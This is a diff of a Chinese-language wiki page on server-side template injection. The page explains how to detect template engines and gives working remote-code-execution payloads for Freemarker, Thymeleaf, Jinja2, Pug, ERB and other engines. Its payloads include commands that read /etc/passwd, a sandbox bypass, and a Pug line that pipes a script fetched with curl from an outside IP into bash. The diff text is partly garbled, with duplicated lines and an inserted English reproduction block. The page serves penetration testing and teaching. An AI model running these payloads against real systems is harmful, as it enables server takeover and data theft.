|
||||
如果您**更改** **`greeting`** 参数为**不同的值**,**响应将不包含用户名**,但如果您访问类似于:`http://vulnerable-website.com/?greeting=data.username}}hello` 的内容,那么,**响应将包含用户名**(如果闭合模板表达式字符是 **`}}`**)。\
|
||||
如果在这些测试期间抛出了**错误**,将更容易发现服务器是否易受攻击。
|
||||
如果**更改**`greeting`参数为**不同的值**,**响应将不包含用户名**,但如果访问类似于:`http://vulnerable-website.com/?greeting=data.username}}hello`,那么**响应将包含用户名**(如果结束模板表达式字符为**`}}`**)。\
|
||||
如果在这些测试过程中**出现错误**,将更容易发现服务器存在漏洞。
|
||||
|
||||
### 识别
|
||||
|
||||
一旦您检测到模板注入的潜力,下一步是识别模板引擎。\
|
||||
尽管有大量的模板语言,但它们中的许多使用非常相似的语法,这些语法特意选择不与HTML字符冲突。
|
||||
一旦检测到模板注入潜力,下一步是识别模板引擎。\
|
||||
尽管有大量的模板语言,但许多模板语言使用非常相似的语法,特意选择不与HTML字符冲突。
|
||||
|
||||
如果您幸运的话,服务器将会**打印错误**,您将能够在错误**内部**找到使用的**引擎**。一些可能导致错误的有效载荷:
|
||||
如果幸运的话,服务器将**打印错误**,您将能够在错误中找到使用的**引擎**。一些可能导致错误的有效载荷:
|
||||
|
||||
| `${}` | `{{}}` | `<%= %>` |
|
||||
| ----------- | ------------ | --------------- |
|
||||
|
@ -79,7 +79,7 @@ engine.render("Hello {{"+greeting+"}}", data)
|
|||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||
|
||||
否则,您需要手动**测试不同特定于语言的有效载荷**,并研究它们如何被模板引擎解释。做到这一点的常见方法是注入使用不同模板引擎语法的任意数学运算。然后,您可以观察它们是否被成功评估。为了帮助这个过程,您可以使用类似于以下的决策树:
|
||||
否则,您将需要手动**测试不同的特定语言有效载荷**,并研究模板引擎如何解释它们。一个常见的做法是使用来自不同模板引擎的语法注入任意数学运算。然后,您可以观察它们是否被成功评估。为了帮助这个过程,您可以使用类似以下的决策树:
|
||||
|
||||
![](<../../.gitbook/assets/image (272).png>)
|
||||
|
||||
|
@ -87,30 +87,30 @@ engine.render("Hello {{"+greeting+"}}", data)
|
|||
|
||||
**阅读**
|
||||
|
||||
在发现模板注入并识别模板引擎之后的第一步是阅读文档。关注的主要领域包括:
|
||||
在找到模板注入并识别模板引擎后的第一步是阅读文档。感兴趣的关键领域包括:
|
||||
|
||||
* '模板作者'部分,涵盖基本语法。
|
||||
* '安全考虑' - 可能开发您正在测试的应用程序的人没有阅读这个,它可能包含一些有用的提示。
|
||||
* 涵盖基本语法的“对于模板作者”部分。
|
||||
* “安全注意事项” - 很可能您正在测试的应用程序的开发人员没有阅读这部分,它可能包含一些有用的提示。
|
||||
* 内置方法、函数、过滤器和变量的列表。
|
||||
* 扩展/插件列表 - 有些可能默认启用。
|
||||
* 扩展/插件列表 - 一些可能默认启用。
|
||||
|
||||
**探索**
|
||||
|
||||
假设没有出现任何漏洞,下一步是**探索环境**,以确切了解**您可以访问什么**。您可以期望找到模板引擎提供的**默认对象**,以及开发人员传递给模板的**特定于应用程序的对象**。许多模板系统公开一个包含所有作用域内内容的'self'或命名空间对象,以及列出对象属性和方法的惯用方式。
|
||||
假设没有发现漏洞,下一步是**探索环境**,以找出**您可以访问的内容**。您可以期望找到模板引擎提供的**默认对象**和开发人员通过模板传递给模板的**特定于应用程序的对象**。许多模板系统公开一个包含作用域内所有内容的“self”或命名空间对象,并列出对象属性和方法的惯用方式。
|
||||
|
||||
如果没有内置的self对象,您将不得不使用[SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)和Burp Intruder的单词列表集合来暴力破解变量名。
|
||||
如果没有内置的self对象,您将需要使用[SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)和Burp Intruder的单词列表集合来暴力破解变量名。
|
||||
|
||||
开发人员提供的对象特别可能包含敏感信息,并且可能在应用程序内的不同模板之间有所不同,因此这个过程理想情况下应该单独应用于每个不同的模板。
|
||||
开发人员提供的对象特别可能包含敏感信息,并且可能在应用程序中的不同模板之间有所不同,因此最好将此过程应用于每个单独的模板。
|
||||
|
||||
**攻击**
|
||||
|
||||
此时,您应该对可用的**攻击面**有一个**坚实的了解**,并能够使用传统的安全审计技术继续进行,审查每个功能以寻找可利用的漏洞。重要的是要在更广泛的应用程序上下文中进行这种方法 - 一些功能可以用来利用特定于应用程序的功能。接下来的示例将使用模板注入来触发任意对象创建、任意文件读/写、远程文件包含、信息泄露和权限提升漏洞。
|
||||
此时,您应该对可用的攻击面有一个**明确的概念**,并能够继续使用传统的安全审计技术,审查每个函数以查找可利用的漏洞。重要的是要将这一过程放在更广泛应用的背景下进行 - 一些函数可以用于利用特定于应用程序的功能。接下来的示例将使用模板注入来触发任意对象创建、任意文件读取/写入、远程文件包含、信息泄露和权限提升漏洞。
|
||||
|
||||
## 工具
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
一个高效的SSTI + CSTI扫描器,利用新颖的多语言脚本
|
||||
一款高效的SSTI + CSTI扫描器,利用新颖的多语言混淆技术。
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
|
@ -129,19 +129,19 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
```
|
||||
### [模板注入表](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
一个交互式表格,包含最有效的模板注入多态性以及44个最重要模板引擎的预期响应。
|
||||
一个交互式表格,包含最有效的模板注入多语言以及44个最重要的模板引擎的预期响应。
|
||||
|
||||
## 漏洞利用
|
||||
## 攻击
|
||||
|
||||
### 通用
|
||||
|
||||
在这个**单词表**中,你可以找到在下面提到的一些引擎环境中**定义的变量**:
|
||||
在这个**单词列表**中,您可以找到下面提到的一些引擎环境中定义的**变量**:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
|
||||
### Java
|
||||
|
||||
**Java - 基础注入**
|
||||
**Java - 基本注入**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
|
@ -149,11 +149,11 @@ ${class.getClassLoader()}
|
|||
${class.getResource("").getPath()}
|
||||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
```
|
||||
**Java - 检索系统的环境变量**
|
||||
**Java - 获取系统的环境变量**
|
||||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**Java - 检索 /etc/passwd**
|
||||
**Java - 获取 /etc/passwd**
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -165,8 +165,8 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
|||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (遗留)`
|
||||
* `${7*'7'} 无输出`
|
||||
* `#{7*7} = 49 -- (legacy)`
|
||||
* `${7*'7'} Nothing`
|
||||
* `${foobar}`
|
||||
```java
|
||||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
|
@ -177,7 +177,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
```
|
||||
**Freemarker - 沙盒绕过**
|
||||
|
||||
⚠️ 仅适用于2.3.30以下版本的Freemarker
|
||||
⚠️ 仅适用于版本低于2.3.30的Freemarker。
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
|
@ -187,7 +187,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
```
|
||||
**更多信息**
|
||||
|
||||
* 在 FreeMarker 部分 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* 请查看[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)中的FreeMarker部分。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
|
@ -203,21 +203,21 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
```
|
||||
**更多信息**
|
||||
|
||||
* 在 Velocity 部分 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* 在Velocity部分[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf (Java)
|
||||
|
||||
典型的 SSTI 测试表达式是 `${7*7}`。这个表达式在 Thymeleaf 中也有效。如果你想实现远程代码执行,你可以使用以下测试表达式之一:
|
||||
SSTI的典型测试表达式是`${7*7}`。这个表达式在Thymeleaf中也适用。如果要实现远程代码执行,可以使用以下测试表达式之一:
|
||||
|
||||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||
|
||||
然而,如我们之前提到的,表达式只在特殊的 Thymeleaf 属性中有效。如果需要在模板中的其他位置使用表达式,Thymeleaf 支持 _表达式内联_。要使用这个功能,你必须将表达式放在 `[[...]]` 或 `[(...)]` 中(根据是否需要转义特殊符号选择其中一个)。因此,一个简单的 SSTI 检测载荷对于 Thymeleaf 来说会是 `[[${7*7}]]`。
|
||||
然而,正如我们之前提到的,表达式只在特殊的Thymeleaf属性中起作用。如果需要在模板的不同位置使用表达式,Thymeleaf支持_表达式内联_。要使用此功能,必须将表达式放在`[[...]]`或`[(...)]`中(根据是否需要转义特殊符号选择其中之一)。因此,Thymeleaf的简单SSTI检测有效负载将是`[[${7*7}]]`。
|
||||
|
||||
然而,上述检测载荷工作的可能性非常低。SSTI 漏洞通常发生在代码中动态生成模板时。Thymeleaf 默认不允许这种动态生成的模板,所有模板必须提前创建。因此,如果开发者想要 _即时_ 从字符串创建模板,他们需要创建自己的 TemplateResolver。这是可能的,但非常罕见。
|
||||
然而,上述检测有效负载能够起作用的可能性非常低。SSTI漏洞通常发生在代码中动态生成模板的情况下。默认情况下,Thymeleaf不允许这样的动态生成模板,所有模板必须提前创建。因此,如果开发人员想要根据需要创建一个模板字符串,他们需要创建自己的TemplateResolver。这是可能的,但发生的频率非常低。
|
||||
|
||||
如果我们更深入地查看 Thymeleaf 模板引擎的文档,我们会发现一个有趣的功能叫做 _**表达式预处理**_。放在双下划线 (`__...__`) 之间的表达式会被预处理,预处理的结果会在常规处理期间用作表达式的一部分。这里是 Thymeleaf 文档中的一个官方示例:
|
||||
如果我们深入研究Thymeleaf模板引擎的文档,我们会发现一个有趣的功能,称为_**表达式预处理**_。放置在双下划线之间的表达式(`__...__`)将被预处理,并预处理的结果将作为常规处理过程中表达式的一部分。以下是Thymeleaf文档中的官方示例:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -243,13 +243,13 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
```
|
||||
**绕过过滤器**
|
||||
|
||||
如果 `${...}` 不起作用,可以尝试使用多种变量表达式,比如 `#{...}`, `*{...}`, `@{...}` 或 `~{...}`。
|
||||
如果`${...}`无效,可以尝试使用多个变量表达式,如`#{...}`, `*{...}`, `@{...}`或`~{...}`。
|
||||
|
||||
* 读取 `/etc/passwd`
|
||||
* 读取`/etc/passwd`
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
* 自定义脚本用于生成有效载荷
|
||||
* 用于生成 payload 的自定义脚本
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -282,7 +282,7 @@ print(base_payload + end_payload)
|
|||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Spring 视图操作 (Java)
|
||||
### Spring 视图操纵(Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
|
@ -297,11 +297,11 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
|||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebble 旧版本(< 版本 3.0.9):
|
||||
Pebble的旧版本(<版本3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
新版本的 Pebble:
|
||||
新版本的Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
|
@ -324,15 +324,15 @@ Pebble 旧版本(< 版本 3.0.9):
|
|||
.newInstance(([bytes]).toArray()) }}
|
||||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava是一个功能强大的Java模板引擎,可以用于处理服务器端模板注入(Server-Side Template Injection,SSTI)漏洞。攻击者可以利用SSTI漏洞执行恶意代码,访问敏感数据,甚至完全控制服务器。在进行渗透测试时,需要注意并修复这类漏洞,以确保系统的安全性。
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
Jinjava 是由 Hubspot 开发的开源项目,可在 [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) 获取。
|
||||
|
||||
**Jinjava - 命令执行**
|
||||
|
||||
通过 [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) 修复
|
||||
修复链接:[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
|
@ -348,9 +348,9 @@ Jinjava 是由 Hubspot 开发的开源项目,可在 [https://github.com/HubSpo
|
|||
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
* `{% %}` 语句分隔符
|
||||
* `{{ }}` 表达式分隔符
|
||||
* `{# #}` 注释分隔符
|
||||
* `{% %}` 语句定界符
|
||||
* `{{ }}` 表达式定界符
|
||||
* `{# #}` 注释定界符
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
|
@ -358,7 +358,7 @@ Jinjava 是由 Hubspot 开发的开源项目,可在 [https://github.com/HubSpo
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并在Github上发现了 [Jinjava项目](https://github.com/HubSpot/jinjava/)。
|
||||
搜索"com.hubspot.content.hubl.context.TemplateContextRequest"并发现了[Github上的Jinjava项目](https://github.com/HubSpot/jinjava/)。
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
@ -415,8 +415,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
EL 提供了一个重要机制,用于使表示层(网页)能够与应用逻辑(管理的 beans)通信。EL 被**几个 JavaEE 技术**使用,例如 JavaServer Faces 技术、JavaServer Pages (JSP) 技术和 Java EE 的上下文与依赖注入(CDI)。\
|
||||
查看以下页面以了解更多关于**利用 EL 解释器**的信息:
|
||||
EL提供了一个重要的机制,用于使表示层(网页)能够与应用程序逻辑(托管bean)进行通信。EL被**多个JavaEE技术**使用,例如JavaServer Faces技术,JavaServer Pages (JSP)技术和Java EE的上下文和依赖注入(CDI)。\
|
||||
查看以下页面以了解有关**利用EL解释器**的更多信息:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -424,7 +424,7 @@ EL 提供了一个重要机制,用于使表示层(网页)能够与应用
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
此 Security Manager 绕过方法取自此[**报告**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)。
|
||||
以下安全管理器绕过是从这篇[**文章**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)中提取的。
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -451,7 +451,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识的传播**,是技术和网络安全专业人士在各个领域的沸腾交汇点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -467,7 +467,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
**更多信息**
|
||||
|
||||
* 在 Smarty 部分 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* 在Smarty部分[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
|
@ -475,8 +475,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{7*'7'}} = 49`
|
||||
* `{{1/0}} = 错误`
|
||||
* `{{foobar}} 无内容`
|
||||
* `{{1/0}} = Error`
|
||||
* `{{foobar}} Nothing`
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
|
@ -514,12 +514,12 @@ array("first_name" => $user.first_name)
|
|||
```
|
||||
**更多信息**
|
||||
|
||||
* 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 Twig 和 Twig (Sandboxed) 部分
|
||||
* 在[Twig和Twig(沙盒)](https://portswigger.net/research/server-side-template-injection)部分查看更多信息
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
### Plates(PHP)
|
||||
|
||||
Plates 受 Twig 启发,但它是一个原生 PHP 模板引擎,而不是一个编译型模板引擎。
|
||||
Plates受Twig启发,但是是一个原生的PHP模板引擎,而不是编译模板引擎。
|
||||
|
||||
控制器:
|
||||
```php
|
||||
|
@ -536,7 +536,9 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
layout 模板:
|
||||
```html
|
||||
布局模板:
|
||||
```
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -547,9 +549,9 @@ layout 模板:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### PHPlib 和 HTML\_Template\_PHPLIB (PHP)
|
||||
### PHPlib and HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) 是 PHPlib 的 Pear 移植版本。
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB)与PHPlib相同,但是移植到了Pear。
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -573,7 +575,23 @@ layout 模板:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
`authors.php`
|
||||
`authors.php`
|
||||
|
||||
## Server-Side Template Injection (SSTI)
|
||||
|
||||
### Description
|
||||
|
||||
In this scenario, the application is vulnerable to Server-Side Template Injection (SSTI). SSTI occurs when an application allows user input to be evaluated as a template on the server. This can lead to arbitrary code execution and a potential compromise of the server.
|
||||
|
||||
### Steps to Reproduce
|
||||
|
||||
1. Access the `authors.php` page.
|
||||
2. Input the payload `{{7*7}}` in the search field.
|
||||
3. Observe if the page displays `49`. If it does, the application is likely vulnerable to SSTI.
|
||||
|
||||
### Impact
|
||||
|
||||
An attacker can exploit SSTI to execute arbitrary code on the server, potentially leading to server compromise and unauthorized access to sensitive data.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -605,6 +623,8 @@ $t->parse('authorline_ref', 'authorline', true);
|
|||
echo $t->finish($t->parse('OUT', 'authors'));
|
||||
?>
|
||||
```
|
||||
### Jade (NodeJS)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
- var x = root.process
|
||||
|
@ -618,12 +638,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
```
|
||||
**更多信息**
|
||||
|
||||
* 在 Jade 部分 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* 在Jade部分[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个非编译型的 PHP 模板引擎,它使用 XML 标签将文档分割成不同的部分。
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template)是一个非编译的PHP模板引擎,使用XML标记将文档分成不同部分。
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -637,7 +657,7 @@ Hello {NAME}.<br/>
|
|||
```
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
路径遍历(更多信息[这里](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。
|
||||
路径遍历(更多信息[在这里](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
|
@ -674,12 +694,12 @@ URLencoded:
|
|||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **模板** | **描述** |
|
||||
| -------- | ------------------------------------ |
|
||||
| | 评估并渲染输出 |
|
||||
| | 评估并渲染HTML编码输出 |
|
||||
| | 注释 |
|
||||
| and | 允许代码(默认禁用) |
|
||||
| **模板** | **描述** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | 评估和呈现输出 |
|
||||
| | 评估和呈现HTML编码的输出 |
|
||||
| | 注释 |
|
||||
| 和 | 允许代码(默认情况下禁用) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -701,7 +721,7 @@ URLencoded:
|
|||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**服务器端渲染示例**
|
||||
**示例服务器端渲染**
|
||||
```javascript
|
||||
var pugjs = require('pug');
|
||||
home = pugjs.render(injected_page)
|
||||
|
@ -714,7 +734,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* \{{7\*7\}} = 49
|
||||
* \{{foo\}} = 无输出
|
||||
* \#{7\*7} = \#{7\*7}
|
||||
* \#{7\*7} = #{7\*7}
|
||||
* \{{console.log(1)\}} = 错误
|
||||
```javascript
|
||||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||||
|
@ -729,7 +749,7 @@ home = pugjs.render(injected_page)
|
|||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = 错误`
|
||||
* `<%= foobar %> = Error`
|
||||
```python
|
||||
<%= system("whoami") %> #Execute code
|
||||
<%= Dir.entries('/') %> #List folder
|
||||
|
@ -757,7 +777,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
查看以下页面,学习关于在python中**绕过沙箱执行任意命令**的技巧:
|
||||
查看以下页面,了解有关在Python中绕过沙盒执行任意命令的技巧:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -767,7 +787,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} = 错误`
|
||||
* `{{foobar}} = Error`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
```python
|
||||
{% raw %}
|
||||
|
@ -792,11 +812,11 @@ home = pugjs.render(injected_page)
|
|||
|
||||
[官方网站](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 是一个功能齐全的 Python 模板引擎。它支持完整的 Unicode,可选的集成沙箱执行环境,广泛使用且采用 BSD 许可证。
|
||||
> Jinja2是Python的一个功能齐全的模板引擎。它具有完整的Unicode支持,可选的集成沙盒执行环境,被广泛使用并且采用BSD许可证。
|
||||
|
||||
* `{{7*7}} = 错误`
|
||||
* `{{7*7}} = Error`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} 无输出`
|
||||
* `{{foobar}} 无`
|
||||
* `{{4*4}}[[5*5]]`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
* `{{config}}`
|
||||
|
@ -833,7 +853,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
```
|
||||
[**不依赖于**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`**的 RCE**:
|
||||
[**不依赖**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__` 的 RCE:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
|
@ -844,7 +864,7 @@ home = pugjs.render(injected_page)
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**关于如何滥用 Jinja 的更多细节**:
|
||||
**关于如何滥用Jinja的更多细节**:
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
|
@ -863,15 +883,15 @@ ${x}
|
|||
* `@(2+2) <= 成功`
|
||||
* `@() <= 成功`
|
||||
* `@("{{code}}") <= 成功`
|
||||
* `@ <=成功`
|
||||
* `@{} <= 错误!`
|
||||
